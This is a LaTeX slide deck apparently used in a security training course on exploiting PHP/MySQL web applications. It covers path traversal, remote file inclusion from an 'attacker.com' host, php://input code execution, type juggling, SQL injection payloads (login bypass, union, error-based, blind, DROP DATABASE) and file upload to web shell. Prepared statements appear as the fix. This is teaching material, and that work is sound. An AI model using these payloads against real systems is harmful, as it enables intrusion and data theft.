-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.tex
676 lines (483 loc) · 16 KB
/
main.tex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
\documentclass[xcolor=dvipsnames,aspectratio=169,handout]{beamer} % PDF
%\documentclass[xcolor=dvipsnames,aspectratio=169]{beamer} % Presentation
\usecolortheme[dark,accent=cyan]{solarized} % Dark theme
%\usecolortheme[light]{solarized} % Light theme
\usepackage{multicol}
\usepackage{url}
\usepackage{hyperref}
\usepackage{listings,xcolor}
\lstdefinestyle{PHP}{
belowcaptionskip=1\baselineskip,
breaklines=true,
language=PHP,
showstringspaces=false,
basicstyle=\footnotesize\ttfamily,
backgroundcolor=\color{solarizedRebase02},
xleftmargin=\parindent,
keywordstyle=\color{Magenta},
commentstyle=\color{green!75!black},
identifierstyle=\color{TealBlue},
stringstyle=\color{Bittersweet}
}
\lstdefinestyle{SQL}{
belowcaptionskip=1\baselineskip,
breaklines=true,
language=SQL,
showstringspaces=false,
basicstyle=\footnotesize\ttfamily,
backgroundcolor=\color{solarizedRebase02},
xleftmargin=\parindent,
keywordstyle=\color{Magenta},
commentstyle=\color{green!75!black},
identifierstyle=\color{TealBlue},
stringstyle=\color{Bittersweet}
}
\title{Web Exploitation}
\author{ZenHackAdemy}
\subtitle{PHP and MySQL Edition}
\date{May 6, 2019}
\begin{document}
\begin{frame}[plain]
\maketitle
\begin{columns}
\column{0.5\textwidth}
\center {
\includegraphics[width=0.3\textwidth] {style/qrcode.png}\\
\href{http://zenhack.team} {Visit us!}
}
\column{0.5\textwidth}
\center{
\includegraphics[width=0.3\textwidth] {style/giotino.jpg}\\
@Giotino
}
\end{columns}
\end{frame}
\begin{frame}[fragile]{Not even trying}
\Large \textbf{Trust based authentication} \normalsize
\begin{lstlisting}[style=PHP]
if ($_GET['authorized'] == 'true')
show_secret_admin_area();
\end{lstlisting}
\pause
\vfill
\Large \textbf{Cookie poisoning} \normalsize
\begin{lstlisting}[style=PHP]
if ($_COOKIE['username'] == 'admin')
show_secret_admin_area();
\end{lstlisting}
\end{frame}
\begin{frame}[fragile]{Path Traversal (LFI)}
\Large \textbf{Regular file access} \normalsize
\vspace{0.75\baselineskip}
http://example.com/?page=main.php
\begin{lstlisting}[style=PHP]
include('pages/' . $_GET['page']);
\end{lstlisting}
\pause
\vfill
\Large \textbf{Out of scope file access} \normalsize
\vspace{0.75\baselineskip}
http://example.com/?page=../../../../etc/passwd
\begin{lstlisting}[style=PHP]
include('pages/../../../../etc/passwd');
\end{lstlisting}
\end{frame}
\begin{frame}[fragile]{LFI remote code execution}
\Large \textbf{Less secure website} \normalsize
\vspace{0.5\baselineskip}
http://example.com/?page=main.php
\begin{lstlisting}[style=PHP]
include($_GET['page']);
\end{lstlisting}
With PHP configuration $->$ allow\_url\_include=On
\pause
\vfill
\Large \textbf{Code execution} \normalsize
\vspace{0.5\baselineskip}
http://example.com/?page=http://attacker.com/code.txt
\begin{lstlisting}[style=PHP]
include('http://attacker.com/code.txt');
\end{lstlisting}
\pause
We are telling the server to include and evaluate http://attacker.com/code.txt that contains malicious code
\end{frame}
\begin{frame}[fragile]{LFI arbitrary code execution}
\Large \textbf{Event worse} \normalsize
\vspace{0.5\baselineskip}
http://example.com/?page=php://input
\begin{lstlisting}[style=PHP]
include('php://input');
\end{lstlisting}
\pause
\vspace{0.75\baselineskip}
We are telling the server to include and evaluate php://input, that's the body of the request. If we POST the website with some PHP code and that specific parameter we can execute arbitrary PHP code
\end{frame}
\begin{frame}[fragile]{LFI dump them all}
\Large \textbf{Base64 dumping} \normalsize
\vspace{0.5\baselineskip}
http://example.com/?page=php://filter/convert.base64-encode/resource=index.php
\begin{lstlisting}[style=PHP]
include('php://filter/convert.base64-encode/resource=index.php');
\end{lstlisting}
\vspace{0.25\baselineskip}
Works without PHP configuration $->$ allow\_url\_include
\vfill
\pause
We are telling the server to include and evaluate php://filter/convert.base64-encode/resource=filename. \\
The php filter "convert.base64-encode" read the file "filename" (even out of scope) and returns its content Base64 encoded. \\
Using this technique we can dump all kind of files \underline{entirely}, including PHP ones which, being Base64 encoded, will not be executed.
\end{frame}
\begin{frame}[fragile]{Type Juggling}
\Large \center\textbf{Identical Operator === (checks value and data type)} \normalsize
\pause
\begin{columns}
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = 123;
$b = 123;
$a == $b;
// true
\end{lstlisting}
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = "test";
$b = "test";
$a == $b;
// true
\end{lstlisting}
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = NULL;
$b = 0;
$a === $b;
// false
\end{lstlisting}
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = "1";
$b = 1 ;
$a === $b;
// false
\end{lstlisting}
\end{columns}
\pause
\vfill
\Large \center\textbf{Equality Operator == (checks only value)} \normalsize
\pause
\begin{columns}
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = 123;
$b = 123;
$a == $b;
// true
\end{lstlisting}
\pause
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = "test";
$b = "test";
$a == $b;
// true
\end{lstlisting}
\pause
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = NULL;
$b = 0;
$a == $b;
// true
\end{lstlisting}
\pause
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = "1";
$b = 1 ;
$a == $b;
// true
\end{lstlisting}
\end{columns}
\end{frame}
\begin{frame}[fragile]{Type Juggling and Beyond}
\Large \textbf{More} \normalsize
\pause
\begin{columns}
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = '0a2b3c';
$b = 0 ;
$a == $b;
// true
\end{lstlisting}
\pause
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = '0.1test';
$b = 0.1 ;
$a == $b;
// true
\end{lstlisting}
\pause
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = '0e98765';
$b = '0e1' ;
$a == $b;
// true
\end{lstlisting}
\pause
\column{0.25\textwidth}
\begin{lstlisting}[style=PHP]
$a = ['test'];
$b = true ;
$a == $b;
// true
\end{lstlisting}
\end{columns}
\pause
\vfill
\Large \textbf{What about strcmp(str1, str2)} \normalsize
\pause
"Returns $<0$ if str1 is less than str2; $>0$ if str1 is greater than str2, and $0$ if they are equal." - \url{https://www.php.net/manual/en/function.strcmp.php} \\
Sounds good, but what if an argument is not a string?
\pause
\begin{lstlisting}[style=PHP]
strcmp([], "test"); // NULL (and a warning)
strcmp([], "secretPassword") == 0; // true (and a warning)
\end{lstlisting}
A comparison between a string and an array is always a perfect match. \\
Also works with NULL, functions and classes
\end{frame}
\begin{frame}[fragile]{SQL Injection}
\Large \textbf{A common query style} \normalsize
\begin{lstlisting}[style=PHP]
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$db->query($query);
\end{lstlisting}
\pause
\vfill
\Large \textbf{A common query injection} \normalsize
\vspace{0.5\baselineskip}
\large ' OR true -{}- - \normalsize
\vspace{0.5\baselineskip}
http://example.com/?user=\%27\%20OR\%20true\%20-{}-\%20-
\pause
\vspace{0.5\baselineskip}
\begin{lstlisting}[style=SQL]
SELECT * FROM users WHERE username = '' OR true -- -'
\end{lstlisting}
\end{frame}
\begin{frame}[fragile]{SQL Injection}
\Large \textbf{Sanitized} \normalsize
\begin{lstlisting}[style=PHP]
$id = $db->real_escape_string($_GET['id']);
$query = "SELECT * FROM users WHERE id = " . $id;
$db->query($query);
\end{lstlisting}
\pause
\vfill
\Large \textbf{New query, new injection} \normalsize
\vspace{0.5\baselineskip}
\large 0 OR true \normalsize
\vspace{0.5\baselineskip}
http://example.com/?id=\%200\%20OR\%20true
\pause
\vspace{0.5\baselineskip}
\begin{lstlisting}[style=SQL]
SELECT * FROM users WHERE id = 0 OR true
\end{lstlisting}
\end{frame}
\begin{frame}[fragile]{SQL Injection}
\Large \textbf{Login bypass (easy)} \normalsize
\begin{lstlisting}[style=PHP]
$user = $_GET['user']; $pass = $_GET['pass'];
$query = "SELECT * FROM users WHERE
username = '" . $user . "' AND password = MD5('" . $pass . "')";
$result = $db->query($query);
if($result->num_rows > 0) {
$row = $result->fetch_assoc();
echo("Welcome " . $row['username']);
}
\end{lstlisting}
\pause
We can alter the query to return a user without knowing the password. \\
\large ') OR true LIMIT 0, 1 -{}- - \normalsize
\begin{lstlisting}[style=SQL]
SELECT * FROM users WHERE
username = '' AND password = MD5('') OR true LIMIT 0, 1 -- -');
\end{lstlisting}
\end{frame}
\begin{frame}[fragile]{SQL tricks}
\url{https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/}
\vfill
\pause
\Large \textbf{String HEX representation} \normalsize
\begin{lstlisting}[style=SQL]
'admin' = 0x61646D696E
\end{lstlisting}
In SQL strings can also be represented in hexadecimal notation \\
That's useful to insert strings in a payload sanitized by real\_escape\_string
\vfill
\pause
\Large \textbf{Query stacking} \normalsize
\begin{lstlisting}[style=SQL]
SELECT * FROM users; DROP DATABASE db;
\end{lstlisting}
Modern SQL drivers do not permit different type of query to be stacked (e.g. SELECT...; UPDATE ...;)
\end{frame}
\begin{frame}[fragile]{SQL Injection}
\Large \textbf{Now what?} \normalsize
\begin{lstlisting}[style=PHP]
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
if(!$result = $db->query($query))
die($db->error);
\end{lstlisting}
\pause
\vfill
\Large \textbf{Error based SQLi} \normalsize
\vspace{0.5\baselineskip}
In this case we use the XML parser included with MySQL. When it finds and error it returns part of the code it was parsing. We can have it parsing a result of a select making it leak the result. (Query must output only one column and one row)
\pause
\begin{lstlisting}[style=SQL]
SELECT extractvalue(rand(),concat(0x3A,(
SELECT username FROM users LIMIT 0,1
)))
\end{lstlisting}
\end{frame}
\begin{frame}[fragile]{SQL Injection}
\Large \textbf{No errors?} \normalsize
\begin{lstlisting}[style=PHP]
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = $db->query($query);
$row = $result->fetch_assoc();
echo($row["id"] .'|'. $row["username"] .'|'. $row["email"]);
\end{lstlisting}
\pause
\vfill
\Large \textbf{Union based SQLi} \normalsize
\vspace{0.5\baselineskip}
We use the mask on the website (the echo in our PHP) to show data from the database
\pause
\begin{lstlisting}[style=SQL]
UNION SELECT username, password AS email, 0 FROM admins
\end{lstlisting}
\pause
\begin{lstlisting}[style=SQL]
SELECT * FROM users WHERE username = ''
UNION SELECT username, password AS email, 0 FROM admins -- -'
\end{lstlisting}
Number of columns must match the first SELECT (in this case 3)
\end{frame}
\begin{frame}[fragile]{SQL Injection}
\Large \textbf{No mask?} \normalsize
\begin{lstlisting}[style=PHP]
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = $db->query($query);
if ($result->num_rows > 0)
echo("Logged in");
\end{lstlisting}
\pause
\vfill
\Large \textbf{Boolean Based Blind SQLi} \normalsize
\vspace{0.5\baselineskip}
We issue boolean SQL queries and check for the "Logged in" output \\
Using MySQL functions as LENGTH and MID we can reduce the amount of requests to retrieve information
\end{frame}
\begin{frame}[fragile]{SQL Injection}
\Large \textbf{No output?} \normalsize
\begin{lstlisting}[style=PHP]
$id = $_GET['id'];
$query = "UPDATE users SET name = 'John' WHERE id = " . $id;
$db->query($query);
\end{lstlisting}
\pause
\vfill
\Large \textbf{Time Based Blind SQLi} \normalsize
\vspace{0.5\baselineskip}
We issue SQL queries containing SLEEP function and treat the response time as a boolean output
\pause
\begin{lstlisting}[style=SQL]
UPDATE users SET name = 'John' WHERE id = -1;
IF(MID(VERSION(),1,1) = '5', SLEEP(10), 0);
-- Sleep 10 seconds if MySQL version is 5
\end{lstlisting}
\end{frame}
\begin{frame}[fragile]{SQL Injection}
\Large \textbf{How to prevent?} \normalsize
\vspace{0.5\baselineskip}
\pause
\large Prepared Statements \normalsize
\begin{lstlisting}[style=PHP]
$stmt = $db->prepare("SELECT * FROM users WHERE id=? AND username=?");
$stmt->bind("i", $id);
$stmt->bind("s", $username);
$stmt->execute();
\end{lstlisting}
\pause
\vfill
\Large \textbf{How it works?} \normalsize
\vspace{0.5\baselineskip}
Query and parameters (data) are not assembled on the client. When the query reaches the database it's compiled by the SQL engine and subsequently the data is replaced. In this way parameters cannot alter the structure of the query
\end{frame}
\begin{frame}[fragile]{SQL tricks}
\Large \textbf{Reading files} \normalsize
\begin{lstlisting}[style=SQL]
SELECT load_file('/etc/passwd')
\end{lstlisting}
\vfill
\pause
\Large \textbf{Writing files} \normalsize
\begin{lstlisting}[style=SQL]
SELECT 'Content to Write' INTO OUTFILE '/tmp/test.txt'
\end{lstlisting}
\end{frame}
\begin{frame}[fragile]{Upload Exploitation}
\Large \textbf{PHP upload is easy} \normalsize
\begin{lstlisting}[style=PHP]
$dstfile = 'uploads/' . basename($_FILES['file']['name']);
$success = move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
\end{lstlisting}
\pause
\vfill
\Large \textbf{Easy to exploit} \normalsize
\vspace{0.5\baselineskip}
Simply upload a PHP file and enjoy
\vspace{0.5\baselineskip}
http://example.com/uploads/shell.php
\end{frame}
\begin{frame}[fragile]{Upload Exploitation}
\Large \textbf{Check file integrity} \normalsize
\begin{lstlisting}[style=PHP]
$dstfile = 'uploads/' . basename($_FILES['file']['name']);
$isImage = getimagesize($_FILES["file"]["tmp_name"]);
if ($isImage !== false) // If it can be parsed as image
move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
\end{lstlisting}
\pause
\vfill
\Large \textbf{Give the server what it wants} \normalsize
\vspace{0.5\baselineskip}
PNGs come to help. We can have whatever data we want after the image in its file \\
We can upload $|$image + PHP payload$|$.php files to the server
\end{frame}
\begin{frame}[fragile]{Upload Exploitation}
\Large \textbf{Filter extensions} \normalsize
\begin{lstlisting}[style=PHP]
$dstfile = 'uploads/' . basename($_FILES['file']['name']);
$extension = strtolower(pathinfo($dstfile, PATHINFO_EXTENSION));
$enExtensions = array("jpeg","jpg","png","gif");
if (in_array($extension, $enExtensions)) // If the extension is OK
move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
\end{lstlisting}
\pause
\vfill
\Large \textbf{No exploit for us...} \normalsize
\vspace{0.5\baselineskip}
The uploaded code cannot be directly executed because the file extension is not handled by the PHP engine \\
But we can include the file with an LFI and our code will be executed
\end{frame}
\end{document}